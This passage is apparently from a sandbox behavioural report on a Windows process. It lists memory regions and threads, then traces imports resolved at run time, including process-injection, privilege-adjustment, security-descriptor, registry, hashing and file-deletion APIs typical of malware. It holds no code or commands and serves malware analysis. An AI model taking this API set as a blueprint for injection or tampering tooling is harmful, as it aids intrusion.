"pagefile_0x0000000002d80000" filename = "" Region: id = 9459 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9460 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9461 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9462 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9463 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9464 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9465 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9466 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9467 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9468 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9469 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9470 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9471 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9472 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9473 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9474 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9475 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 9476 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 9477 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9478 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9479 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9480 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9481 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9482 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9483 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9484 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9485 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9486 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9487 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9488 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9489 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9490 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9491 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9492 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9493 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9494 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9495 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9496 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9497 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9498 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9499 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Thread: id = 60 os_tid = 0xac4 Thread: id = 61 os_tid = 0x644 Thread: id = 62 os_tid = 0x480 Thread: id = 63 os_tid = 0x59c Thread: id = 64 os_tid = 0x770 Thread: id = 65 os_tid = 0x748 Thread: id = 66 os_tid = 0x6f8 Thread: id = 67 os_tid = 0x72c Thread: id = 68 os_tid = 0x73c Thread: id = 69 os_tid = 0x730 Thread: id = 70 os_tid = 0x714 Thread: id = 71 os_tid = 0x490 Thread: id = 72 os_tid = 0x794 Thread: id = 73 os_tid = 0x74c Thread: id = 74 os_tid = 0x6d0 Thread: id = 75 os_tid = 0x6cc Thread: id = 76 os_tid = 0x6b4 Thread: id = 77 os_tid = 0x6ac Thread: id = 78 os_tid = 0x68c Thread: id = 79 os_tid = 0x684 Thread: id = 80 os_tid = 0x680 Thread: id = 81 os_tid = 0x670 Thread: id = 82 os_tid = 0x668 Thread: id = 83 os_tid = 0x664 Thread: id = 84 os_tid = 0x660 Thread: id = 85 os_tid = 0x644 Thread: id = 86 os_tid = 0x598 Thread: id = 87 os_tid = 0x594 Thread: id = 88 os_tid = 0x590 Thread: id = 89 os_tid = 0x58c Thread: id = 90 os_tid = 0x588 Thread: id = 91 os_tid = 0x574 Thread: id = 92 os_tid = 0x56c Thread: id = 93 os_tid = 0x9a4 [0100.848] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77320000 [0100.849] GetProcAddress (hModule=0x77320000, lpProcName="ReadFile") returned 0x77331500 [0100.849] GetProcAddress (hModule=0x77320000, lpProcName="FlushFileBuffers") returned 0x773269f0 [0100.849] GetProcAddress (hModule=0x77320000, lpProcName="WriteFile") returned 0x773435a0 [0100.850] GetProcAddress (hModule=0x77320000, lpProcName="GetTickCount") returned 0x77342b00 [0100.850] GetProcAddress (hModule=0x77320000, lpProcName="SetFileAttributesW") returned 0x773337a0 [0100.850] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAlloc") returned 0x773367a0 [0100.851] GetProcAddress (hModule=0x77320000, lpProcName="GetFileSizeEx") returned 0x77329b30 [0100.851] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFree") returned 0x77331260 [0100.851] GetProcAddress (hModule=0x77320000, lpProcName="SetFilePointerEx") returned 0x7732af00 [0100.851] GetProcAddress (hModule=0x77320000, lpProcName="GetFileAttributesW") returned 0x7733bdd0 [0100.852] GetProcAddress (hModule=0x77320000, lpProcName="GetVolumeNameForVolumeMountPointW") returned 0x773907d0 [0100.852] GetProcAddress (hModule=0x77320000, lpProcName="GetProcessHeap") returned 0x77343050 [0100.852] GetProcAddress (hModule=0x77320000, lpProcName="HeapFree") returned 0x77343070 [0100.852] GetProcAddress (hModule=0x77320000, lpProcName="HeapReAlloc") returned 0x77573f20 [0100.853] GetProcAddress (hModule=0x77320000, lpProcName="HeapAlloc") returned 0x775933a0 [0100.853] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryA") returned 0x77337070 [0100.853] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringA") returned 0x77324f60 [0100.853] GetProcAddress (hModule=0x77320000, lpProcName="Thread32First") returned 0x7736aa70 [0100.854] GetProcAddress (hModule=0x77320000, lpProcName="Thread32Next") returned 0x7736a980 [0100.854] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThread") returned 0x77333f20 [0100.854] GetProcAddress (hModule=0x77320000, lpProcName="CreateProcessW") returned 0x77341bb0 [0100.855] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibrary") returned 0x77336620 [0100.855] GetProcAddress (hModule=0x77320000, lpProcName="MultiByteToWideChar") returned 0x77335b50 [0100.855] GetProcAddress (hModule=0x77320000, lpProcName="WideCharToMultiByte") returned 0x773435f0 [0100.855] GetProcAddress (hModule=0x77320000, lpProcName="CreateMutexW") returned 0x773313c0 [0100.856] GetProcAddress (hModule=0x77320000, lpProcName="ReleaseMutex") returned 0x77342b90 [0100.856] GetProcAddress (hModule=0x77320000, lpProcName="SetLastError") returned 0x77342df0 [0100.856] GetProcAddress (hModule=0x77320000, lpProcName="WaitForMultipleObjects") returned 0x77331170 [0100.856] GetProcAddress (hModule=0x77320000, lpProcName="GetLastError") returned 0x77342dd0 [0100.857] GetProcAddress (hModule=0x77320000, lpProcName="CreateThread") returned 0x77336580 [0100.857] GetProcAddress (hModule=0x77320000, lpProcName="GetComputerNameW") returned 0x7732d130 [0100.857] GetProcAddress (hModule=0x77320000, lpProcName="CreateEventW") returned 0x77335290 [0100.857] GetProcAddress (hModule=0x77320000, lpProcName="ExitThread") returned 0x77586930 [0100.858] GetProcAddress (hModule=0x77320000, lpProcName="ExitProcess") returned 0x775640f0 [0100.858] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSection") returned 0x77568100 [0100.858] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameW") returned 0x77337700 [0100.858] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessId") returned 0x77335a50 [0100.859] GetProcAddress (hModule=0x77320000, lpProcName="AddVectoredExceptionHandler") returned 0x77623ad0 [0100.859] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemDefaultLCID") returned 0x773233a0 [0100.859] GetProcAddress (hModule=0x77320000, lpProcName="GetWindowsDirectoryW") returned 0x773282b0 [0100.860] GetProcAddress (hModule=0x77320000, lpProcName="WaitForSingleObject") returned 0x77342b20 [0100.860] GetProcAddress (hModule=0x77320000, lpProcName="GetProcAddress") returned 0x77343690 [0100.860] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleW") returned 0x77343730 [0100.860] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryW") returned 0x77336f80 [0100.861] GetProcAddress (hModule=0x77320000, lpProcName="VirtualProtect") returned 0x77322ef0 [0100.861] GetProcAddress (hModule=0x77320000, lpProcName="CreateRemoteThread") returned 0x7736c4f0 [0100.861] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAllocEx") returned 0x7736bbd0 [0100.861] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFreeEx") returned 0x7736bb90 [0100.862] GetProcAddress (hModule=0x77320000, lpProcName="DuplicateHandle") returned 0x77335d10 [0100.862] GetProcAddress (hModule=0x77320000, lpProcName="WriteProcessMemory") returned 0x7736bad0 [0100.862] GetProcAddress (hModule=0x77320000, lpProcName="OpenProcess") returned 0x7733cad0 [0100.862] GetProcAddress (hModule=0x77320000, lpProcName="Process32NextW") returned 0x773220f0 [0100.863] GetProcAddress (hModule=0x77320000, lpProcName="Process32FirstW") returned 0x77321e00 [0100.863] GetProcAddress (hModule=0x77320000, lpProcName="CreateToolhelp32Snapshot") returned 0x773221e0 [0100.863] GetProcAddress (hModule=0x77320000, lpProcName="CreateDirectoryW") returned 0x7732ad70 [0100.863] GetProcAddress (hModule=0x77320000, lpProcName="TerminateProcess") returned 0x7736bca0 [0100.864] GetProcAddress (hModule=0x77320000, lpProcName="SetEvent") returned 0x77333f00 [0100.864] GetProcAddress (hModule=0x77320000, lpProcName="DeleteFileW") returned 0x7732ad90 [0100.864] GetProcAddress (hModule=0x77320000, lpProcName="Sleep") returned 0x77342b70 [0100.864] GetProcAddress (hModule=0x77320000, lpProcName="CloseHandle") returned 0x77342f80 [0100.865] GetProcAddress (hModule=0x77320000, lpProcName="CreateFileW") returned 0x77331870 [0100.865] GetProcAddress (hModule=0x77320000, lpProcName="lstrcmpiA") returned 0x773240a0 [0100.865] GetProcAddress (hModule=0x77320000, lpProcName="lstrlenA") returned 0x7733caf0 [0100.865] GetProcAddress (hModule=0x77320000, lpProcName="WriteConsoleW") returned 0x77333d40 [0100.866] GetProcAddress (hModule=0x77320000, lpProcName="SetStdHandle") returned 0x7736bce0 [0100.866] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleMode") returned 0x77342e60 [0100.866] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleCP") returned 0x773605f0 [0100.866] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringW") returned 0x77340dd0 [0100.867] GetProcAddress (hModule=0x77320000, lpProcName="HeapSize") returned 0x775682d0 [0100.867] GetProcAddress (hModule=0x77320000, lpProcName="GetStringTypeW") returned 0x77339060 [0100.867] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringW") returned 0x7732b760 [0100.867] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryExW") returned 0x77336640 [0100.868] GetProcAddress (hModule=0x77320000, lpProcName="GetCPInfo") returned 0x77336ce0 [0100.868] GetProcAddress (hModule=0x77320000, lpProcName="GetOEMCP") returned 0x7733b580 [0100.868] GetProcAddress (hModule=0x77320000, lpProcName="GetACP") returned 0x77336f90 [0100.869] GetProcAddress (hModule=0x77320000, lpProcName="IsValidCodePage") returned 0x77339080 [0100.869] GetProcAddress (hModule=0x77320000, lpProcName="LeaveCriticalSection") returned 0x77593000 [0100.869] GetProcAddress (hModule=0x77320000, lpProcName="EnterCriticalSection") returned 0x77592fc0 [0100.869] GetProcAddress (hModule=0x77320000, lpProcName="IsProcessorFeaturePresent") returned 0x7736cc80 [0100.870] GetProcAddress (hModule=0x77320000, lpProcName="IsDebuggerPresent") returned 0x77328290 [0100.870] GetProcAddress (hModule=0x77320000, lpProcName="RtlUnwindEx") returned 0x77352d90 [0100.870] GetProcAddress (hModule=0x77320000, lpProcName="TlsFree") returned 0x77331590 [0100.870] GetProcAddress (hModule=0x77320000, lpProcName="TlsSetValue") returned 0x77335cd0 [0100.871] GetProcAddress (hModule=0x77320000, lpProcName="TlsGetValue") returned 0x77342bd0 [0100.871] GetProcAddress (hModule=0x77320000, lpProcName="TlsAlloc") returned 0x77337100 [0100.871] GetProcAddress (hModule=0x77320000, lpProcName="SetUnhandledExceptionFilter") returned 0x77339b70 [0100.871] GetProcAddress (hModule=0x77320000, lpProcName="UnhandledExceptionFilter") returned 0x773b9330 [0100.872] GetProcAddress (hModule=0x77320000, lpProcName="RtlVirtualUnwind") returned 0x7736b5b0 [0100.872] GetProcAddress (hModule=0x77320000, lpProcName="RtlLookupFunctionEntry") returned 0x7736b610 [0100.872] GetProcAddress (hModule=0x77320000, lpProcName="RtlCaptureContext") returned 0x7736b6f0 [0100.872] GetProcAddress (hModule=0x77320000, lpProcName="FreeEnvironmentStringsW") returned 0x77336d20 [0100.873] GetProcAddress (hModule=0x77320000, lpProcName="GetEnvironmentStringsW") returned 0x77336d00 [0100.873] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemTimeAsFileTime") returned 0x77333f40 [0100.873] GetProcAddress (hModule=0x77320000, lpProcName="QueryPerformanceCounter") returned 0x77336500 [0100.873] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameA") returned 0x773364a0 [0100.874] GetProcAddress (hModule=0x77320000, lpProcName="GetStartupInfoW") returned 0x77338070 [0100.874] GetProcAddress (hModule=0x77320000, lpProcName="DeleteCriticalSection") returned 0x77565350 [0100.874] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773364e0 [0100.874] GetProcAddress (hModule=0x77320000, lpProcName="GetFileType") returned 0x77342e00 [0100.875] GetProcAddress (hModule=0x77320000, lpProcName="GetStdHandle") returned 0x7733d750 [0100.875] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleExW") returned 0x7732b780 [0100.875] GetProcAddress (hModule=0x77320000, lpProcName="RaiseException") returned 0x7732cf10 [0100.875] GetProcAddress (hModule=0x77320000, lpProcName="RtlPcToFileHeader") returned 0x77352d80 [0100.876] GetProcAddress (hModule=0x77320000, lpProcName="DecodePointer") returned 0x77569c50 [0100.876] GetProcAddress (hModule=0x77320000, lpProcName="EncodePointer") returned 0x77573bd0 [0100.876] GetProcAddress (hModule=0x77320000, lpProcName="GetCommandLineA") returned 0x77341e70 [0100.876] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemInfo") returned 0x77336f70 [0100.877] GetProcAddress (hModule=0x77320000, lpProcName="VirtualQuery") returned 0x7733bd40 [0100.877] GetProcAddress (hModule=0x77320000, lpProcName="ResumeThread") returned 0x773313a0 [0100.877] GetProcAddress (hModule=0x77320000, lpProcName="SuspendThread") returned 0x77322f60 [0100.878] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThreadId") returned 0x77333ee0 [0100.878] GetProcAddress (hModule=0x77320000, lpProcName="OpenThread") returned 0x7733c560 [0100.878] GetProcAddress (hModule=0x77320000, lpProcName="FlushInstructionCache") returned 0x773233e0 [0100.879] GetProcAddress (hModule=0x77320000, lpProcName="HeapCreate") returned 0x773370e0 [0100.879] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcess") returned 0x77335cf0 [0100.879] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadContext") returned 0x77322f10 [0100.879] GetProcAddress (hModule=0x77320000, lpProcName="GetThreadContext") returned 0x77322f40 [0100.880] GetProcAddress (hModule=0x77320000, lpProcName="LocalFree") returned 0x773347a0 [0100.880] GetProcAddress (hModule=0x77320000, lpProcName="GetVersionExW") returned 0x7732d910 [0100.880] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefdb00000 [0100.880] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptHashData") returned 0x7fefdb0dac0 [0100.881] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefdb089a0 [0100.881] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefdb11e00 [0100.881] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorSacl") returned 0x7fefdb11eb0 [0100.881] GetProcAddress (hModule=0x7fefdb00000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefdb12040 [0100.882] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorDacl") returned 0x7fefdb1b5a0 [0100.882] GetProcAddress (hModule=0x7fefdb00000, lpProcName="InitializeSecurityDescriptor") returned 0x7fefdb1b504 [0100.882] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExW") returned 0x7fefdb11ed0 [0100.882] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExW") returned 0x7fefdb1c2d0 [0100.883] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExW") returned 0x7fefdb206f0 [0100.883] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthorityCount") returned 0x7fefdb11740 [0100.883] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthority") returned 0x7fefdb11754 [0100.883] GetProcAddress (hModule=0x7fefdb00000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdb1b9b0 [0100.884] GetProcAddress (hModule=0x7fefdb00000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdb1b9e0 [0100.884] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenThreadToken") returned 0x7fefdb1bd84 [0100.884] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetTokenInformation") returned 0x7fefdb1bd50 [0100.885] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenProcessToken") returned 0x7fefdb1bd70 [0100.885] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExW") returned 0x7fefdb1b520 [0100.885] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptReleaseContext") returned 0x7fefdb0dd10 [0100.885] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptDestroyHash") returned 0x7fefdb0db00 [0100.886] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptGetHashParam") returned 0x7fefdb0db20 [0100.886] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptCreateHash") returned 0x7fefdb0dad4 [0100.886] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetLengthSid") returned 0x7fefdb1b580 [0100.886] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptAcquireContextW") returned 0x7fefdb0d98c [0100.887] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExA") returned 0x7fefdb1c480 [0100.887] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExA") returned 0x7fefdb1b5f0 [0100.887] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCloseKey") returned 0x7fefdb20710 [0100.887] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExA") returned 0x7fefdb11dc0 [0100.888] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExA") returned 0x7fefdb11d10 [0100.888] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7feff2b0000 [0100.888] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRenameExtensionW") returned 0x7feff2de6c0 [0100.888] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveBackslashW") returned 0x7feff2bd014 [0100.889] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveFileSpecW") returned 0x7feff2ba43c [0100.889] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddBackslashW") returned 0x7feff2c3f70 [0100.889] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddExtensionW") returned 0x7feff2de630 [0100.889] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfA") returned 0x7feff2e2200 [0100.890] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfW") returned 0x7feff2e22e4 [0100.890] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathCombineW") returned 0x7feff2c3dfc [0100.890] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x7fefdfb0000 [0100.890] GetProcAddress (hModule=0x7fefdfb0000, lpProcName="SHGetFolderPathW") returned 0x7fefe033ba4 [0100.890] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77440000 [0100.891] GetProcAddress (hModule=0x77440000, lpProcName="MessageBoxA") returned 0x774b12b8 [0100.891] GetProcAddress (hModule=0x77440000, lpProcName="CharUpperW") returned 0x7745b714 [0100.891] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x7feff7e0000 [0100.892] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x12) returned 0x7feff7e4da0 [0100.892] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x73) returned 0x7feff7e4980 [0100.892] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xf) returned 0x7feff7e1250 [0100.893] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xb) returned 0x7feff7e1350 [0100.893] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x9) returned 0x7feff7e1250 [0100.893] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x13) returned 0x7feff7e8000 [0100.893] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x7feff6b0000 [0100.894] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindFirstUrlCacheEntryW") returned 0x7feff747150 [0100.894] GetProcAddress (hModule=0x7feff6b0000, lpProcName="DeleteUrlCacheEntryW") returned 0x7feff747050 [0100.894] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindNextUrlCacheEntryW") returned 0x7feff747500 [0100.894] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindCloseUrlCache") returned 0x7feff6be600 [0100.894] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefede0000 [0100.895] GetProcAddress (hModule=0x7fefede0000, lpProcName="StringFromGUID2") returned 0x7fefee03560 [0100.895] GetProcAddress (hModule=0x7fefede0000, lpProcName="CLSIDFromString") returned 0x7fefedf0680 [0100.895] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitialize") returned 0x7fefedfa51c [0100.896] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeSecurity") returned 0x7fefedf8220 [0100.896] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoSetProxyBlanket") returned 0x7fefee1bf00 [0100.896] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoCreateInstance") returned 0x7fefee07490 [0100.896] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoUninitialize") returned 0x7fefee01314 [0100.897] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeEx") returned 0x7fefee02a30 [0100.897] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x7feff5d0000 [0100.897] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x2) returned 0x7feff5d3480 [0100.897] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x6) returned 0x7feff5d1320 [0100.898] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x9) returned 0x7feff5d1180 [0100.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x4cef9c8 | out: lpSystemTimeAsFileTime=0x4cef9c8*(dwLowDateTime=0x32de8310, dwHighDateTime=0x1d31ac1)) [0100.898] GetCurrentThreadId () returned 0x9a4 [0100.898] GetCurrentProcessId () returned 0x568 [0100.898] QueryPerformanceCounter (in: lpPerformanceCount=0x4cef9d0 | out: lpPerformanceCount=0x4cef9d0*=512120919) returned 1 [0100.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0100.898] GetProcAddress (hModule=0x77320000, lpProcName="FlsAlloc") returned 0x77337190 [0100.899] GetProcAddress (hModule=0x77320000, lpProcName="FlsFree") returned 0x773315b0 [0100.899] GetProcAddress (hModule=0x77320000, lpProcName="FlsGetValue") returned 0x77343520 [0100.899] GetProcAddress (hModule=0x77320000, lpProcName="FlsSetValue") returned 0x7733bd90 [0100.899] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionEx") returned 0x773379b0 [0100.900] GetProcAddress (hModule=0x77320000, lpProcName="CreateSemaphoreExW") returned 0x7736c4c0 [0100.900] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadStackGuarantee") returned 0x77328050 [0100.900] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolTimer") returned 0x77328820 [0100.900] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolTimer") returned 0x7755b2f0 [0100.901] GetProcAddress (hModule=0x77320000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7754d8c0 [0100.901] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolTimer") returned 0x7754d620 [0100.901] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolWait") returned 0x7736ba80 [0100.901] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolWait") returned 0x7755e170 [0100.902] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolWait") returned 0x7754c540 [0100.902] GetProcAddress (hModule=0x77320000, lpProcName="FlushProcessWriteBuffers") returned 0x77591f80 [0100.902] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7760ec60 [0100.902] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessorNumber") returned 0x77590040 [0100.903] GetProcAddress (hModule=0x77320000, lpProcName="GetLogicalProcessorInformation") returned 0x7736b820 [0100.903] GetProcAddress (hModule=0x77320000, lpProcName="CreateSymbolicLinkW") returned 0x77395ad0 [0100.903] GetProcAddress (hModule=0x77320000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0100.903] GetProcAddress (hModule=0x77320000, lpProcName="EnumSystemLocalesEx") returned 0x7736c3d0 [0100.904] GetProcAddress (hModule=0x77320000, 